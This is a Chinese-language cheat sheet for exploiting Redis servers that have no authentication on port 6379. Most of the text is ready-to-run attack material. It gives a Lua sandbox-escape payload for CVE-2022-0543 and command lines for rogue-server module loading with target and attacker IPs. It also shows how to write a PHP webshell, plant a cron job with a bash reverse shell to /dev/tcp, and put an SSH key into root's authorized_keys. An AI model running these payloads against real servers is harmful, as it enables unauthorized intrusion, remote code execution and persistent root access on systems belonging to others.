默认端口:6379
Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
RCE-CVE-2022-0543
工具:Another Redis Desktop Manager
使用工具连接redis
如果存在未授权访问,即可连接成功。
点击redis控制台,输入poc
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
执行命令。
CNVD-2019-21763
工具:redis-rogue-getshell
cd RedisModulesSDK/
make
python3 redis-master.py -r 目标IP -p 6379 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"
失败原因:因为需要外部访问服务器端口,安全组策略需要开放端口访问。
CNVD-2015-07557
python3 redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP
-写Webshell需得到Web路径
利用条件:Web目录权限可读写
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
注意:部分没目录权限读写权限
-写定时任务反弹shell
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/x.x.x.x/x 0>&1\n\n\n"
config set dbfilename x
save
-写入Linux ssh-key公钥
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
//以上步骤在自己的攻击机器上执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP